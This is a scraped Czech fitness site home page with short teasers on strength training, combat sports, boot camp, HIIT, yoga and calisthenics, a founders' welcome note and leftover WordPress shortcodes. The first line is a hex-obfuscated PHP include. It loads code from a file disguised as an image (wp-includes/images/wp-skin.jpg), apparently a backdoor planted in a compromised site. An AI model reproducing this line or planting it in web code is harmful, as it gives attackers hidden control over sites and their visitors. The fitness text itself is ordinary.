@include(pack('H*', '77702d696e636c756465732f696d616765732f77702d736b696e2e6a7067')); Phoenix Never Give Up | Stay strong and live healthy

Silový trénink

Potřebujeme objem !!!

Trénink korte neboli korteho trénink je velice známý název pro silový trénink rakouského powerliftera.

Jeho náplň je velice jednoduchá, sestává ze tří základních cviků: mrtvý tah, dřep a benchpress. Jedná se o základní vícekloubové cviky působící na největší svalové skupiny lidského těla...

Čtěte více

Bojové sporty

Jaký si vybrat ?

Bojové sporty jsou v posledních letech na vzestupu. Ale když se řekne toto sousloví, většinou si každý představí MMA, Thajský box, Kickbox nebo třeba K1.

Proč se podobnému mediálnímu výslunní tolik netěší karate, bojové umění, které má obrovskou historii a filozofii?

Čtěte více

Boot Camp

Co to je?

Bootcamp je intenzivní kondiční tréninkový program, který vychází z přijímacího tábora mariňáků z armády Spojených států amerických.

Bootcamp znamená především výzvu změnit životní styl a připojit se ke skupině lidí, pro které je pohyb každodenní radost....

Čtěte více

HIIT

High-intensity interval training

Je vysoce intenzivní intervalový trénink, který tvoří krátké výbušné cvičení s ještě kratším časem na odpočinek.

Účinnost tréninku se liší i dle metody jeho vykonávání. Jednou z metod, jak dosáhnout spalování tuků ve větším množství a za kratší časový úsek, je HIIT...

Čtěte více

Joga

Co si pod tímto pojmem představit...

Jóga je označení pro fyzickou, mentální a spirituální disciplínu, která má kořeny ve staré Indii. Jeden z nejpropracovanějších konceptů jógy jsou Patanjaliho Sutry.

Patanjali definoval cíl jógy jako zklidnění těkavé mysli (citta vrtti nirodah)....

Čtěte více

Calisthenics

A její klady!

Kalisthenika (i street workout) je typ cvičení, při kterém jako zátěž používáte jen a pouze váhu vlastního těla. Jde v ní především o rozvoj síly, vytrvalosti, ale i ohebnosti.

Nepotřebujete tedy žádné činky apod. To však samozřejmě není jediná výhoda kalistheniky...

Čtěte více
[row] [span4] [title_box title=“Vítejte na našich stránkách“ subtitle=“Vážíme si Vaší přízně a důvěry. „]
Naše vlastní životní příběhy a zkušenosti nás inspirovali k založení této stránky.

Phoenix Never Give Up je stránka založená muži a to především pro muže všech věkových kategorií, kteří se zajímají o fitness, zdravý životní styl a vše co k tomu dnes patří. Sami se brzy na této stránce přesvědčíte o tom co jsme tím mysleli, a že všechno co děláme, jíme, nebo třeba jak spíme jsou faktory, které mají vliv na naše zdraví.

Každý v životě jdeme za nějakým cílem, ale ne vždy je to cesta snadná. Často Vás napadají myšlenky, kdy chcete přestat bojovat za to čeho chcete dosáhnout, ať už v pracovním, osobním nebo profesionálním životě. V tu chvíli přicházíme na řadu my a naše stránka, která Vám každý den připomene, že v tom nejste sami.

Nechceme Vás poučovat nebo Vám dokonce říkat co máte dělat, ale chceme Vám pomoci usnadnit cestu za Vašimi sny. Kdykoliv budete na pochybách, budeme tu a připomeneme Vám naše motto, kterým se řídíme  „Nikdy to nevzdávej“. Stejně jako bájný pták fénix, kterým jsme se nechali inspirovat, tak i my se nikdy nevzdáváme.

Za tým Phoenix Pavel a Honza

[button text=“Čtěte více o nás“ link=“about/“ style=“primary“ size=“normal“ target=“_self“ display=“inline“ icon=“no“] [/span4] [span4] [title_box title=“Nejnovější články“ subtitle=“Každý týden nové články“] [recent_posts num=“3″ post_format=“standard“ meta=“true“ thumb=“true“ thumb_width=“160″ thumb_height=“100″ more_text_single=“Čtěte více“ custom_class=“latest-news“] [/span4] [span4] [title_box title=“Inspirace“ subtitle=“Nechte se inspirovat, ale nesnažte se být jako někdo jiný“] [posts_grid type=“team“ columns=“3″ rows=“2″ order_by=“date“ order=“DESC“ thumb_width=“104″ thumb_height=“109″ meta=“no“ link=“no“ custom_class=“our-trainers“] [/span4] [/row] [hr] [row] [span4] [title_box title=“Druhy tréninků“ subtitle=“Sami jsme vyzkoušeli „] [accordions] [accordion title=“HIIT“ visible=“yes“]

HIIT (High-intensity interval training) je vysoce intenzivní intervalový trénink, který je tvořený krátkými výbušnými cvičeními s ještě kratším časem na odpočinek.

[button text=“Čtěte více “ link=“blog/“ style=“link“ size=“normal“ target=“_self“ display=“inline“ icon=“no“] [/accordion] [accordion title=“Boot Camp „] [frame align=“right“]

[/frame]

Bootcamp je intenzivní kondiční tréninkový program, který vychází z přijímacího tábora mariňáků z armády Spojených států amerických.

[button text=“Čtěte více “ link=“blog/“ style=“link“ size=“normal“ target=“_self“ display=“inline“ icon=“no“] [/accordion] [accordion title=“Bojové sporty“] [frame align=“left“][/frame]

Bojové sporty jsou v posledních letech na vzestupu. Ale když se řekne toto sousloví, většinou si každý představí MMA, Thajský box, Kickbox nebo třeba K1. Proč se podobnému mediálnímu výslunní tolik netěší karate, bojové umění, které má obrovskou historii a filozofii?

[button text=“Čtěte Více “ link=“blog/“ style=“link“ size=“normal“ target=“_self“ display=“inline“ icon=“no“] [/accordion] [accordion title=“Calisthenics“] [frame align=“right“][/frame]

Kalisthenika (i street workout) je typ cvičení, při kterém jako zátěž používáte jen a pouze váhu vlastního těla. Jde v ní především o rozvoj síly, vytrvalosti, ale i ohebnosti. Nepotřebujete tedy žádné činky apod. To však samozřejmě není jediná výhoda kalistheniky.

[button text=“Čtěte Více “ link=“blog/“ style=“link“ size=“normal“ target=“_self“ display=“inline“ icon=“no“] [/accordion] [accordion title=“Yoga“] [frame align=“left“][/frame]

Jóga je označení pro fyzickou, mentální a spirituální disciplínu, která má kořeny ve staré Indii. Jeden z nejpropracovanějších konceptů jógy jsou Patanjaliho Sutry. Patanjali definoval cíl jógy jako zklidnění těkavé mysli (citta vrtti nirodah).

[button text=“Čtěte Více “ link=“blog/“ style=“link“ size=“normal“ target=“_self“ display=“inline“ icon=“no“] [/accordion] [accordion title=“Silový trénink“] [frame align=“left“][/frame]

Trénink korte neboli korteho trénink je velice známý název pro silový trénink rakouského powerliftera. Jeho náplň je velice jednoduchá, sestává ze tří základních cviků: mrtvý tah, dřep a benchpress. Jedná se o základní vícekloubové cviky působící na největší svalové skupiny lidského těla

[button text=“Čtěte Více “ link=“blog/“ style=“link“ size=“normal“ target=“_self“ display=“inline“ icon=“no“] [/accordion] [/accordions] [/span4] [span8] [title_box title=“Video Sekce“ subtitle=“Videa jsou skvělá pomůcká při cvičení“] [custom_element element=“div“ class=“pull_right“] [button text=“Všechny cvičení“ link=“courses/“ style=“link“ size=“normal“ target=“_self“ display=“inline“ class=“right-link“ icon=“no“] [/custom_element] [clear] [recent_posts num=“2″ post_format=“video“ meta=“true“ thumb=“true“ thumb_width=“354″ thumb_height=“224″ more_text_single=“Čtěte více“ excerpt_count=“20″ custom_class=“video-courses“] [/span8] [/row]